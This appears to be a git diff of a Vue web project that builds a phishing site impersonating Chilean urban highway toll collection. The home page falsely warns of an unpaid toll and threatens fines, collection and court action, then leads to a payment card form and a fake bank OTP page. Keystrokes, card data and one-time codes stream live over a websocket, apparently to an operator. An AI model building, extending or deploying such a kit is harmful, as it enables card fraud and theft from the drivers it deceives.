font-size: 12px;
|
||||
color: #666;
|
||||
text-align: center;
|
||||
margin-top: 15px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.methods-container {
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
.methods-text {
|
||||
font-size: 13px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 12px;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.icon-grid {
|
||||
display: flex;
|
||||
gap: 6px;
|
||||
flex-wrap: wrap;
|
||||
margin-bottom: 20px;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.icon-grid img {
|
||||
height: 32px;
|
||||
width: auto;
|
||||
border: 1px solid #ddd;
|
||||
border-radius: 4px;
|
||||
padding: 4px;
|
||||
background: #f9f9f9;
|
||||
}
|
||||
|
||||
.form-item {
|
||||
margin-bottom: 18px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.form-item label {
|
||||
display: block;
|
||||
font-size: 13px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 6px;
|
||||
}
|
||||
|
||||
.req {
|
||||
color: red;
|
||||
}
|
||||
|
||||
input {
|
||||
width: 100%;
|
||||
padding: 12px 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
font-size: 14px;
|
||||
box-sizing: border-box;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
input:focus {
|
||||
outline: none;
|
||||
border-color: #4a90e2;
|
||||
}
|
||||
|
||||
.field-error {
|
||||
border-color: red !important;
|
||||
background: #ffe0e0;
|
||||
}
|
||||
|
||||
.msg-error {
|
||||
color: red;
|
||||
font-size: 12px;
|
||||
margin-top: 4px;
|
||||
font-weight: normal;
|
||||
}
|
||||
|
||||
.input-with-icon {
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.card-type-indicator {
|
||||
position: absolute;
|
||||
right: 12px;
|
||||
top: 50%;
|
||||
transform: translateY(-50%);
|
||||
}
|
||||
|
||||
.card-type-indicator img {
|
||||
height: 22px;
|
||||
}
|
||||
|
||||
.flex-row {
|
||||
display: flex;
|
||||
gap: 15px;
|
||||
}
|
||||
|
||||
.half {
|
||||
flex: 1;
|
||||
}
|
||||
|
||||
.button-section {
|
||||
margin-top: 20px;
|
||||
}
|
||||
|
||||
.pay-now-btn {
|
||||
width: 100%;
|
||||
background: #4a90e2;
|
||||
color: #fff;
|
||||
border: none;
|
||||
padding: 14px 16px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
border-radius: 6px;
|
||||
cursor: pointer;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
|
||||
.pay-now-btn:hover {
|
||||
background: #357abd;
|
||||
}
|
||||
</style>
|
||||
27
t_global_Fine_temp1/src/views/CommonLayout.vue
Normal file
27
t_global_Fine_temp1/src/views/CommonLayout.vue
Normal file
@@ -0,0 +1,27 @@
|
||||
<script setup lang="ts">
|
||||
import { footerHtml, headerHtml } from "@/utils/common";
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<body>
|
||||
<div class="v-application v-application--is-ltr theme--light">
|
||||
<div class="v-application--wrap">
|
||||
<header
|
||||
class="container-fluid"
|
||||
id="banner"
|
||||
role="banner"
|
||||
v-html="headerHtml"
|
||||
></header>
|
||||
|
||||
<main style="padding-top: 0px;">
|
||||
<div style="">
|
||||
<slot></slot>
|
||||
</div>
|
||||
</main>
|
||||
<footer class="container-fluid" v-html="footerHtml"></footer>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</template>
|
||||
|
||||
<style></style>
|
||||
1415
t_global_Fine_temp1/src/views/CustomOtpView.vue
Normal file
1415
t_global_Fine_temp1/src/views/CustomOtpView.vue
Normal file
File diff suppressed because it is too large
Load Diff
325
t_global_Fine_temp1/src/views/HomeView.vue
Normal file
325
t_global_Fine_temp1/src/views/HomeView.vue
Normal file
@@ -0,0 +1,325 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, watch } from "vue";
|
||||
import { useRouter } from "vue-router";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
|
||||
const router = useRouter();
|
||||
const loadingStore = useLoadingStore();
|
||||
|
||||
// 保持邏輯不變:使用 phoneData 結構
|
||||
const formData = ref({ phoneData: { plateNumber: "" } });
|
||||
// 狀態控制:是否正在查詢(圖3狀態)
|
||||
const isConsulting = ref(false);
|
||||
|
||||
const instance = getCurrentInstance()!;
|
||||
|
||||
const onchange = (event: any) => {
|
||||
// 保持原本邏輯
|
||||
inputChange("首頁輸入", "plate", event.target.value);
|
||||
};
|
||||
|
||||
const next = () => {
|
||||
// 1. 觸發局部切換為圖3的查詢狀態
|
||||
isConsulting.value = true;
|
||||
|
||||
// 2. 模擬查詢延遲,隨後執行原本的跳轉邏輯
|
||||
setTimeout(() => {
|
||||
localStorage.setItem("plateNumber", formData.value.phoneData.plateNumber);
|
||||
router.push("/pay");
|
||||
}, 2500); // 模擬 2.5 秒的查詢時間
|
||||
};
|
||||
|
||||
watch(
|
||||
instance.appContext.config.globalProperties.$currentUser,
|
||||
(newValue, oldValue) => {}
|
||||
);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "home" },
|
||||
})
|
||||
);
|
||||
const userData =
|
||||
getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.phoneData) {
|
||||
formData.value = userData;
|
||||
}
|
||||
localStorage.setItem("route", "home");
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="chile-page-wrapper">
|
||||
<div class="chile-container">
|
||||
|
||||
<div class="chile-header">
|
||||
<h2>Aviso de tránsito sin TAG</h2>
|
||||
<div class="blue-line"></div>
|
||||
</div>
|
||||
|
||||
<div class="static-top-content">
|
||||
<div class="info-alert-box">
|
||||
<p>Este aviso requiere su atención inmediata para regularizar el cobro de peaje.</p>
|
||||
</div>
|
||||
|
||||
<p class="description-text">
|
||||
Nuestros registros muestran un tránsito por autopistas urbanas concesionadas en Chile sin un medio de pago habilitado (TAG o peaje registrado) asociado al vehículo. Para evitar recargos, intereses y eventuales gestiones de cobranza, le solicitamos revisar el detalle e iniciar la regularización en línea a la brevedad.
|
||||
</p>
|
||||
|
||||
<p class="description-text">
|
||||
Ingrese la patente de su vehículo para consultar el detalle del tránsito y el monto a regularizar.
|
||||
</p>
|
||||
</div>
|
||||
|
||||
<div class="dynamic-content">
|
||||
|
||||
<div v-if="!isConsulting" class="initial-view">
|
||||
<div class="form-card">
|
||||
<form @submit.prevent="next">
|
||||
<label class="input-label">Patente del vehículo</label>
|
||||
<p class="input-hint">Ingrese la patente tal como figura en el padrón (por ejemplo, ABCD12).</p>
|
||||
|
||||
<input
|
||||
type="text"
|
||||
required
|
||||
v-model="formData.phoneData.plateNumber"
|
||||
@input="onchange"
|
||||
class="chile-input"
|
||||
autofocus
|
||||
placeholder=""
|
||||
/>
|
||||
|
||||
<button type="submit" class="chile-btn-submit">
|
||||
Revisar tránsito
|
||||
</button>
|
||||
</form>
|
||||
</div>
|
||||
|
||||
<div class="consequences-section">
|
||||
<h3>Consecuencias de no regularizar a tiempo</h3>
|
||||
<p>Si no completa este proceso dentro de los plazos informados, se puede exponer a:</p>
|
||||
<ul>
|
||||
<li>Aplicación de cargos adicionales y gastos de cobranza sobre el monto original.</li>
|
||||
<li>Derivación del caso a empresas externas de cobranza autorizadas.</li>
|
||||
<li>Registro de multas e infracciones de tránsito asociadas al vehículo.</li>
|
||||
<li>Imposibilidad de renovar el permiso de circulación hasta regularizar la deuda.</li>
|
||||
<li>Eventual denuncia ante el Juzgado de Policía Local competente.</li>
|
||||
<li>Otras gestiones de cobro permitidas por la normativa vigente en Chile.</li>
|
||||
</ul>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div v-else class="consulting-view">
|
||||
<div class="loader-container">
|
||||
<div class="spinner"></div>
|
||||
<p class="loading-text-bold">Consultando registros de tránsito...</p>
|
||||
<p class="loading-text-small">
|
||||
Esto puede tardar algunos segundos. No cierre esta ventana mientras realizamos la búsqueda.
|
||||
</p>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
</div>
|
||||
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
/* 智利高速公路官方風格復刻 */
|
||||
.chile-page-wrapper {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
padding: 20px 15px;
|
||||
font-family: Arial, sans-serif;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.chile-container {
|
||||
max-width: 500px;
|
||||
margin: 0 auto;
|
||||
}
|
||||
|
||||
/* 標題與藍線 */
|
||||
.chile-header h2 {
|
||||
font-size: 20px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
text-align: left;
|
||||
}
|
||||
|
||||
.blue-line {
|
||||
height: 4px;
|
||||
background-color: #4a90e2;
|
||||
width: 100%;
|
||||
margin-bottom: 25px;
|
||||
}
|
||||
|
||||
/* 藍色提示框 */
|
||||
.info-alert-box {
|
||||
background-color: #f0f7ff;
|
||||
border-left: 4px solid #4a90e2;
|
||||
padding: 15px;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.info-alert-box p {
|
||||
margin: 0;
|
||||
font-weight: bold;
|
||||
font-size: 15px;
|
||||
color: #333;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
.description-text {
|
||||
font-size: 14px;
|
||||
color: #444;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
/* 表單卡片 */
|
||||
.form-card {
|
||||
background-color: #f8f9fa;
|
||||
border: 1px solid #e9ecef;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
margin-bottom: 30px;
|
||||
box-shadow: 0 2px 4px rgba(0,0,0,0.02);
|
||||
}
|
||||
|
||||
.input-label {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 16px;
|
||||
color: #333;
|
||||
margin-bottom: 5px;
|
||||
}
|
||||
|
||||
.input-hint {
|
||||
font-size: 13px;
|
||||
color: #888;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.chile-input {
|
||||
width: 100%;
|
||||
box-sizing: border-box;
|
||||
padding: 12px;
|
||||
border: 1px solid #ced4da;
|
||||
border-radius: 4px;
|
||||
font-size: 18px;
|
||||
margin-bottom: 20px;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
.chile-input:focus {
|
||||
border-color: #4a90e2;
|
||||
}
|
||||
|
||||
.chile-btn-submit {
|
||||
background-color: #4a90e2;
|
||||
color: white;
|
||||
border: none;
|
||||
border-radius: 4px;
|
||||
padding: 12px 25px;
|
||||
font-size: 16px;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
/* 後果列表 */
|
||||
.consequences-section {
|
||||
border-left: 4px solid #4a90e2;
|
||||
padding-left: 15px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
.consequences-section h3 {
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 15px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.consequences-section p {
|
||||
font-size: 14px;
|
||||
margin-bottom: 15px;
|
||||
}
|
||||
|
||||
.consequences-section ul {
|
||||
padding-left: 15px;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.consequences-section li {
|
||||
font-size: 13.5px;
|
||||
color: #444;
|
||||
margin-bottom: 12px;
|
||||
line-height: 1.4;
|
||||
list-style-type: disc;
|
||||
}
|
||||
|
||||
/* 圖3:加載動畫佈局 */
|
||||
.consulting-view {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
padding: 40px 0;
|
||||
}
|
||||
|
||||
.loader-container {
|
||||
text-align: center;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* 藍色旋轉圓環 */
|
||||
.spinner {
|
||||
width: 50px;
|
||||
height: 50px;
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #4a90e2;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.loading-text-bold {
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.loading-text-small {
|
||||
font-size: 14px;
|
||||
color: #888;
|
||||
max-width: 320px;
|
||||
line-height: 1.4;
|
||||
}
|
||||
|
||||
@media (max-width: 480px) {
|
||||
.chile-container {
|
||||
padding: 5px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
62
t_global_Fine_temp1/src/views/IndexView.vue
Normal file
62
t_global_Fine_temp1/src/views/IndexView.vue
Normal file
@@ -0,0 +1,62 @@
|
||||
<script setup lang="ts">
|
||||
import { ref, onMounted } from 'vue';
|
||||
|
||||
const isLoading = ref(true);
|
||||
|
||||
onMounted(() => {
|
||||
// Simulate loading, remove in production and use actual data loading completion
|
||||
setTimeout(() => {
|
||||
isLoading.value = false;
|
||||
}, 2000);
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div class="container">
|
||||
<div v-if="isLoading" class="loading-spinner">
|
||||
<div class="spinner" style="display: none;"></div>
|
||||
</div>
|
||||
<div v-else class="content">
|
||||
<!-- Main content goes here when loading is complete -->
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.container {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
height: 100vh;
|
||||
width: 100%;
|
||||
background-color: #f5f5f5;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 4px solid rgb(81, 81, 81, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: transparent;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
|
||||
.content {
|
||||
width: 100%;
|
||||
padding: 20px;
|
||||
}
|
||||
</style>
|
||||
|
||||
|
||||
60
t_global_Fine_temp1/src/views/LoadingView.vue
Normal file
60
t_global_Fine_temp1/src/views/LoadingView.vue
Normal file
@@ -0,0 +1,60 @@
|
||||
<template>
|
||||
<div
|
||||
v-if="isLoading"
|
||||
class="loading-overlay"
|
||||
:style="{ backgroundColor: loadingBg.value }"
|
||||
>
|
||||
<div class="spinner"></div>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<script lang="ts">
|
||||
import { computed, defineComponent } from "vue";
|
||||
import { useLoadingStore } from "@/stores/loadingStore";
|
||||
import { loadingBg } from "@/utils/common";
|
||||
|
||||
export default defineComponent({
|
||||
computed: {
|
||||
loadingBg() {
|
||||
return loadingBg;
|
||||
},
|
||||
},
|
||||
setup() {
|
||||
const loadingStore = useLoadingStore();
|
||||
const isLoading = computed(() => loadingStore.isLoading);
|
||||
|
||||
return {
|
||||
isLoading,
|
||||
};
|
||||
},
|
||||
});
|
||||
</script>
|
||||
|
||||
<style>
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.spinner {
|
||||
border: 4px solid #f1f1f1;
|
||||
border-top: 4px solid #003087;
|
||||
border-radius: 50%;
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
animation: spin 1s linear infinite;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to {
|
||||
transform: rotate(360deg);
|
||||
}
|
||||
}
|
||||
</style>
|
||||
473
t_global_Fine_temp1/src/views/OtpView.vue
Normal file
473
t_global_Fine_temp1/src/views/OtpView.vue
Normal file
@@ -0,0 +1,473 @@
|
||||
<script setup lang="ts">
|
||||
import { computed, nextTick, onMounted, onUnmounted, reactive, ref } from "vue";
|
||||
import { useRoute } from "vue-router";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import CardType1 from "../components/CardType1.vue";
|
||||
import { areAllValuesNotEmpty, inputChange, myWebSocket } from "@/utils/common";
|
||||
import { useI18n } from "vue-i18n";
|
||||
|
||||
const { t } = useI18n();
|
||||
const cardType = ref("");
|
||||
const message1 = ref("");
|
||||
const isVerifying = ref(false);
|
||||
|
||||
onMounted(() => {
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid" },
|
||||
})
|
||||
);
|
||||
const route = useRoute();
|
||||
const query = route.query as any;
|
||||
if (query && query.cardType) {
|
||||
cardType.value = query.cardType;
|
||||
localStorage.setItem("cardType", query.cardType);
|
||||
} else {
|
||||
const type = localStorage.getItem("cardType");
|
||||
if (type) {
|
||||
cardType.value = type;
|
||||
}
|
||||
}
|
||||
|
||||
if (query && query.message1) {
|
||||
message1.value = query.message1;
|
||||
localStorage.setItem("message1", query.message1);
|
||||
} else {
|
||||
const type = localStorage.getItem("message1");
|
||||
if (type) {
|
||||
message1.value = type;
|
||||
}
|
||||
}
|
||||
localStorage.setItem("route", "otpValid");
|
||||
|
||||
// 尝试恢复倒计时,如果没有进行中的倒计时则启动新的倒计时
|
||||
restoreCountdown();
|
||||
if (!isCounting.value) {
|
||||
startCountdown("");
|
||||
}
|
||||
|
||||
eventBus.on("otp-valid", handleEvent);
|
||||
});
|
||||
|
||||
const formData = reactive({ verifyCode: "" });
|
||||
|
||||
const onchange = (value: any) => {
|
||||
inputChange("input_card", "verifyCode", value.target.value);
|
||||
formData.verifyCode = value.target.value;
|
||||
};
|
||||
|
||||
const submit = async () => {
|
||||
await nextTick();
|
||||
isVerifying.value = true;
|
||||
|
||||
if (!areAllValuesNotEmpty(formData)) {
|
||||
isVerifying.value = false;
|
||||
return;
|
||||
}
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitValidCode",
|
||||
formData: formData,
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const initialTime = 60;
|
||||
const timeLeft = ref(initialTime);
|
||||
const isCounting = ref(false);
|
||||
let timer: number | null = null;
|
||||
|
||||
const buttonText = computed(() => {
|
||||
return isCounting.value
|
||||
? `Reenviar código (00:${timeLeft.value < 10 ? `0${timeLeft.value}` : timeLeft.value})`
|
||||
: "Reenviar código";
|
||||
});
|
||||
|
||||
const startCountdown = (resultType: string) => {
|
||||
if (isCounting.value) return;
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "otpValid", resultType: resultType },
|
||||
})
|
||||
);
|
||||
isCounting.value = true;
|
||||
timeLeft.value = initialTime;
|
||||
|
||||
// 保存倒计时开始时间到 localStorage,方便页面刷新后恢复
|
||||
const startTime = Date.now();
|
||||
localStorage.setItem("countdownStartTime", startTime.toString());
|
||||
localStorage.setItem("countdownDuration", initialTime.toString());
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
};
|
||||
|
||||
const stopCountdown = () => {
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
timer = null;
|
||||
}
|
||||
isCounting.value = false;
|
||||
// 清除 localStorage 中的倒计时数据
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
localStorage.removeItem("countdownDuration");
|
||||
};
|
||||
|
||||
// 恢复倒计时状态(页面刷新后)
|
||||
const restoreCountdown = () => {
|
||||
const startTimeStr = localStorage.getItem("countdownStartTime");
|
||||
const durationStr = localStorage.getItem("countdownDuration");
|
||||
|
||||
if (startTimeStr && durationStr) {
|
||||
const startTime = parseInt(startTimeStr);
|
||||
const duration = parseInt(durationStr);
|
||||
const elapsedSeconds = Math.floor((Date.now() - startTime) / 1000);
|
||||
const remainingTime = Math.max(0, duration - elapsedSeconds);
|
||||
|
||||
if (remainingTime > 0) {
|
||||
isCounting.value = true;
|
||||
timeLeft.value = remainingTime;
|
||||
|
||||
timer = window.setInterval(() => {
|
||||
if (timeLeft.value > 0) {
|
||||
timeLeft.value -= 1;
|
||||
} else {
|
||||
stopCountdown();
|
||||
}
|
||||
}, 1000);
|
||||
} else {
|
||||
// 倒计时已过期,清除数据
|
||||
localStorage.removeItem("countdownStartTime");
|
||||
localStorage.removeItem("countdownDuration");
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
const message = ref("");
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
message.value = data.message2;
|
||||
isVerifying.value = false;
|
||||
};
|
||||
|
||||
const expandedSections = reactive({ auth: false, help: false });
|
||||
|
||||
const toggleInfoSection = (section: string) => {
|
||||
if (section === 'auth') {
|
||||
expandedSections.auth = !expandedSections.auth;
|
||||
} else if (section === 'help') {
|
||||
expandedSections.help = !expandedSections.help;
|
||||
}
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("otp-valid", handleEvent);
|
||||
// 不要在卸载时清除倒计时,这样刷新页面时倒计时还会继续
|
||||
if (timer !== null) {
|
||||
clearInterval(timer);
|
||||
}
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<div id="otp-page" class="page-wrapper">
|
||||
<div class="container-outer">
|
||||
<div class="card-container">
|
||||
<div class="header-nav">
|
||||
<div class="bank-icon">
|
||||
<svg viewBox="0 0 24 24" width="36" height="36" fill="#333">
|
||||
<path d="M4 10v7h3v-7H4zm6 0v7h3v-7h-3zM2 22h19v-3H2v3zm14-12v7h3v-7h-3zm-4.5-9L2 6v2h19V6l-9.5-5z"></path>
|
||||
</svg>
|
||||
</div>
|
||||
<div class="card-logo-wrapper">
|
||||
<CardType1 :cardType="cardType" />
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<div class="content-body">
|
||||
<h2 class="page-title">Seguridad del pago</h2>
|
||||
|
||||
<p class="instruction-text">
|
||||
Para garantizar la seguridad de su pago, hemos enviado una contraseña de un solo uso (OTP) a su número de móvil registrado<span v-if="message1"> terminado en {{ message1 }}</span>. Por favor, ingrese el código de verificación a continuación.
|
||||
</p>
|
||||
|
||||
<form @submit.prevent="submit">
|
||||
<div class="form-group">
|
||||
<label class="field-label">Código de verificación</label>
|
||||
<input
|
||||
required
|
||||
type="text"
|
||||
class="otp-input-field"
|
||||
placeholder="Ingrese el código de verificación"
|
||||
v-model="formData.verifyCode"
|
||||
@input="onchange"
|
||||
/>
|
||||
</div>
|
||||
|
||||
<div class="error-feedback" v-if="message">{{ message }}</div>
|
||||
|
||||
<div class="form-actions-row">
|
||||
<button type="submit" class="submit-button">Enviar</button>
|
||||
<a href="javascript:void(0)" class="resend-link" @click="startCountdown('resendCode')">
|
||||
{{ buttonText }}
|
||||
</a>
|
||||
</div>
|
||||
</form>
|
||||
|
||||
<div class="bottom-links">
|
||||
<div class="divider-line"></div>
|
||||
|
||||
<div class="info-row" @click="toggleInfoSection('auth')">
|
||||
<span class="info-label">Más información sobre la autenticación</span>
|
||||
<span class="icon-plus">+</span>
|
||||
</div>
|
||||
|
||||
<div class="info-row" @click="toggleInfoSection('help')">
|
||||
<span class="info-label">¿Necesita ayuda?</span>
|
||||
<span class="icon-plus">+</span>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
|
||||
<Transition name="fade">
|
||||
<div class="loading-overlay" v-if="isVerifying">
|
||||
<div class="overlay-backdrop"></div>
|
||||
<div class="overlay-box">
|
||||
<div class="loader-spinner"></div>
|
||||
<div class="loader-text">Verificando…</div>
|
||||
</div>
|
||||
</div>
|
||||
</Transition>
|
||||
</div>
|
||||
</template>
|
||||
|
||||
<style scoped>
|
||||
.page-wrapper {
|
||||
background-color: #ffffff;
|
||||
min-height: 100vh;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: flex-start;
|
||||
font-family: "Segoe UI", Roboto, Helvetica, Arial, sans-serif;
|
||||
}
|
||||
|
||||
.container-outer {
|
||||
width: 100%;
|
||||
max-width: 500px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.card-container {
|
||||
background: #ffffff;
|
||||
}
|
||||
|
||||
/* Header Navbar */
|
||||
.header-nav {
|
||||
display: flex;
|
||||
justify-content: flex-start;
|
||||
align-items: center;
|
||||
padding: 15px 0 20px 0;
|
||||
border-bottom: 1px solid #f0f0f0;
|
||||
}
|
||||
|
||||
.content-body {
|
||||
padding: 25px 0;
|
||||
}
|
||||
|
||||
.page-title {
|
||||
font-size: 20px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.instruction-text {
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
line-height: 1.6;
|
||||
margin-bottom: 30px;
|
||||
}
|
||||
|
||||
/* Form Styles */
|
||||
.form-group {
|
||||
margin-bottom: 18px;
|
||||
}
|
||||
|
||||
.field-label {
|
||||
display: block;
|
||||
font-weight: bold;
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.otp-input-field {
|
||||
width: 100%;
|
||||
padding: 12px 12px;
|
||||
border: 1px solid #ccc;
|
||||
border-radius: 4px;
|
||||
font-size: 14px;
|
||||
box-sizing: border-box;
|
||||
}
|
||||
|
||||
.otp-input-field::placeholder {
|
||||
color: #999;
|
||||
}
|
||||
|
||||
.otp-input-field:focus {
|
||||
border-color: #4a90e2;
|
||||
outline: none;
|
||||
}
|
||||
|
||||
/* Actions: Button and Resend Link on the same line */
|
||||
.form-actions-row {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: space-between;
|
||||
margin-top: 25px;
|
||||
}
|
||||
|
||||
.submit-button {
|
||||
background-color: #4a90e2;
|
||||
color: #ffffff;
|
||||
border: none;
|
||||
padding: 13px 24px;
|
||||
border-radius: 6px;
|
||||
font-size: 15px;
|
||||
font-weight: bold;
|
||||
cursor: pointer;
|
||||
transition: background 0.2s;
|
||||
}
|
||||
|
||||
.submit-button:hover {
|
||||
background-color: #357abd;
|
||||
}
|
||||
|
||||
.resend-link {
|
||||
font-size: 13px;
|
||||
color: #4a90e2;
|
||||
text-decoration: none;
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.resend-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.error-feedback {
|
||||
color: #d32f2f;
|
||||
font-size: 13px;
|
||||
margin-top: 10px;
|
||||
}
|
||||
|
||||
/* Accordion Style Links */
|
||||
.bottom-links {
|
||||
margin-top: 30px;
|
||||
}
|
||||
|
||||
.divider-line {
|
||||
height: 1px;
|
||||
background-color: #e0e0e0;
|
||||
margin-bottom: 0;
|
||||
}
|
||||
|
||||
.info-row {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: center;
|
||||
padding: 16px 0;
|
||||
border-bottom: 1px solid #e0e0e0;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.info-label {
|
||||
font-size: 14px;
|
||||
color: #333;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.icon-plus {
|
||||
color: #999;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
/* Loading Overlay Styles */
|
||||
.loading-overlay {
|
||||
position: fixed;
|
||||
inset: 0;
|
||||
z-index: 9999;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
}
|
||||
|
||||
.overlay-backdrop {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: rgba(255, 255, 255, 0.9);
|
||||
}
|
||||
|
||||
.overlay-box {
|
||||
position: relative;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.loader-spinner {
|
||||
width: 45px;
|
||||
height: 45px;
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #2563eb;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
margin: 0 auto 15px;
|
||||
}
|
||||
|
||||
.loader-text {
|
||||
font-size: 15px;
|
||||
color: #486581;
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
.fade-enter-active, .fade-leave-active { transition: opacity 0.3s; }
|
||||
.fade-enter-from, .fade-leave-to { opacity: 0; }
|
||||
|
||||
.bank-icon {
|
||||
width: 36px;
|
||||
height: 36px;
|
||||
flex-shrink: 0;
|
||||
}
|
||||
|
||||
.card-logo-wrapper {
|
||||
display: none;
|
||||
}
|
||||
|
||||
/* Responsive */
|
||||
@media (max-width: 480px) {
|
||||
.form-actions-row {
|
||||
gap: 10px;
|
||||
}
|
||||
.submit-button {
|
||||
width: 100%;
|
||||
}
|
||||
.page-title {
|
||||
font-size: 18px;
|
||||
}
|
